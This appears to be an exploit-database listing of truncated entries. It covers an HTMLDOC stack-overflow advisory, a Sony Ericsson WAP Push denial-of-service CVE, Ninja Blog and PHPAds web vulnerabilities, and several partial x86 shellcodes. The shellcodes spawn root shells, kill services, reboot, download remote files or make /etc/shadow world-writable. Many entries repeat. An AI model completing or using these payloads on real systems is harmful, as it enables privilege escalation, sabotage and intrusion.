HTMLDOC html文件处理栈溢出漏洞

BUGTRAQ ID: 35727 HTMLDOC是用于将HTML文件和网页转换为适合在线查看和打印的索引HTML、PostScript和PDF文件的工具。 HTMLDOC的htmldoc/util.cxx文件中的sscanf和setpagesize函数存在栈溢出漏洞。如果用户受骗打开了包含有特制MEDIA SIZE标注的HTML文档的话，就可以触发这个溢出，导致执行任意指令。 Easy Software Products HTMLDOC 1.8.27 厂商补丁： Easy Software Products ----------------------...

BSD/x86 - execve(/bin/sh) & setuid(0) - 29 bytes

No description provided by source. / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 29 bytes. -setuid0; -execve/bin/sh; / char shellcode= "\x31\xc0" // xor %eax,%eax "\x50" // push %eax "\xb0\x17" // mov $0x17,%al "\x50" // push %eax "\xcd\x80" // int $0x80 "\x50" // push %eax...

Linux/x86 - execve("/bin//sh/",["/bin//sh"],NULL)

No description provided by source. / revenge-execve.c, v1.0 2006/10/14 16:32 Yet another linux execve shellcode.. linux/x86 execve"/bin//sh/","/bin//sh",NULL shellcode http://www.0xcafebabe.it [email protected] But this time it's 22 bytes We could start the shellcode with a mov instead of pus...

Linux/x86 - Kill service apache2 + pure-ftpd + sshd - 81 bytes

No description provided by source. / Linux x86 | Kill Service - Apache2 - Pure-Ftpd - sshd Shellcode 81 bytes Auhtor: Jonathan Salwan js.rac.projet AT gmail.com Web: http://www.shell-storm.org Disassembly of section .text: 08048060 start: 8048060: 6a 0b push $0xb 8048062: 58 pop %eax 8048063: 99...

Linux x86 PUSH reboot()

No description provided by source. / Linux x86 PUSH reboot - 30 bytes Jonathan Salwan js.rac.projetATgmail.com Web: http://racprojet.zapto.org Disassembly of section .text: 08048054 .text: 8048054: 31 c0 xor %eax,%eax 8048056: 50 push %eax 8048057: 68 62 6f 6f 74 push $0x746f6f62 804805c: 68 6e 2...

CVE-2009-0396

The Sony Ericsson W910i, W660i, K618i, K610i, Z610i, K810i, K660i, W880i, and K530i phones allow remote attackers to cause a denial of service device reboot or hang-up via a malformed WAP Push packet to 1 SMS or 2 UDP port 2948...

Design/Logic Flaw

The Sony Ericsson W910i, W660i, K618i, K610i, Z610i, K810i, K660i, W880i, and K530i phones allow remote attackers to cause a denial of service device reboot or hang-up via a malformed WAP Push packet to 1 SMS or 2 UDP port 2948...

CVE-2009-0396

The Sony Ericsson W910i, W660i, K618i, K610i, Z610i, K810i, K660i, W880i, and K530i phones allow remote attackers to cause a denial of service device reboot or hang-up via a malformed WAP Push packet to 1 SMS or 2 UDP port 2948...

CVE-2009-0396

CVE-2009-0396 affects multiple Sony Ericsson feature phones (W910i, W660i, K618i, K610i, Z610i, K810i, K660i, W880i, K530i). The vulnerability is triggered by a malformed WAP Push packet sent to (1) SMS or (2) UDP port 2948, allowing remote attackers to cause a denial of service (device reboot or...

SonyEricsson mobile phones WAP DoS

Crash on SMS or UDP/2948 WAP PUSH message handling...

Ninja Blog 4.8 Remote Information Disclosure Vulnerability

Exploit for unknown platform in category web applications ========================================================== Ninja Blog 4.8 Remote Information Disclosure Vulnerability ========================================================== Vendor: http://ninjadesigns.co.uk Versions: Ninja Blog 4.8 May...

Ninja Blog 4.8 - Cross-Site Request ForgeryHTML Injection

Ninja Blog 4.8 - Cross-Site Request ForgeryHTML Injection Vendor: http://ninjadesigns.co.uk Versions: Ninja Blog 4.8 May also affect earlier versions Credit: Danny Moules Critical: Yes See PUSH 55 Advisory at https://www.push55.co.uk/index.php?s=ad&id=7 ---- Due to insufficient validation of...

PHPAds 2.0 Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications ========================================== PHPAds 2.0 Multiple Remote Vulnerabilities ========================================== Vendor: http://blondish.net Versions: PHPAds 2.0 May also affect earlier versions Credit: Danny Moules Critica...

PHPAds 2.0 Multiple Remote Vulnerabilities

No description provided by source. Vendor: http://blondish.net Versions: PHPAds 2.0 May also affect earlier versions Credit: Danny Moules Critical: Yes See PUSH 55 Advisory at http://www.push55.co.uk/advisories.php?id=8 ---- First, we need to acquire administrative access. We point our browser at...

linux/x86 PUSH reboot() - 30 bytes

No description provided by source. / Linux x86 PUSH reboot - 30 bytes Jonathan Salwan js.rac.projetATgmail.com Web: http://racprojet.zapto.org Disassembly of section .text: 08048054 .text: 8048054: 31 c0 xor %eax,%eax 8048056: 50 push %eax 8048057: 68 62 6f 6f 74 push $0x746f6f62 804805c: 68 6e 2...

linux/x86 PUSH reboot - 30 bytes

linux/x86 PUSH reboot - 30 bytes. Shellcode exploit for linx86 platform / Linux x86 PUSH reboot - 30 bytes Jonathan Salwan Web: http://racprojet.zapto.org Disassembly of section .text: 08048054 : 8048054: 31 c0 xor %eax,%eax 8048056: 50 push %eax 8048057: 68 62 6f 6f 74 push $0x746f6f62 804805c: ...

linux/x86 PUSH reboot() - 30 bytes

Exploit for linux/x86 platform in category shellcode ================================== linux/x86 PUSH reboot - 30 bytes ================================== / Linux x86 PUSH reboot - 30 bytes Jonathan Salwan Web: http://racprojet.zapto.org Disassembly of section .text: 08048054 : 8048054: 31 c0 xo...

Linux/x86 - Remote File Download Shellcode (42 bytes)

Linux/x86 - Remote File Download Shellcode 42 bytes. Shellcode exploit for Linuxx86 platform / Title: Linux x86 - Remote file Download - 42 bytes Author: Jonathan Salwan Web: http://www.shell-storm.org Twitter: http://twitter.com/jonathansalwan !Database of Shellcodes...

Linux/x86 - setuid(0) + chmod(/etc/shadow, 0666) Shellcode (37 bytes)

Linux/x86 - setuid0 + chmod/etc/shadow, 0666 Shellcode 37 bytes. Shellcode exploit for Linuxx86 platform / Title: linux/x86 setuid0 + chmod"/etc/shadow", 0666 Shellcode 37 Bytes Type: Shellcode Author: antrhacks Platform: Linux X86 / / ASSembly 31 db xor %ebx,%ebx b0 17 mov $0x17,%al cd 80 int...

Linux/x86 - execve(/bin/sh) Shellcode (21 bytes) (3)

Linux/x86 - execve/bin/sh Shellcode 21 bytes 3. Shellcode exploit for Linuxx86 platform / Title: linux/x86 Shellcode execve "/bin/sh" - 21 Bytes Date : 10 Feb 2011 Author : kernelpanik Thanks : cOokie, agix, antrhacks / / xor ecx, ecx mul ecx push ecx push 0x68732f2f ;; hs// push 0x6e69622f ;; ni...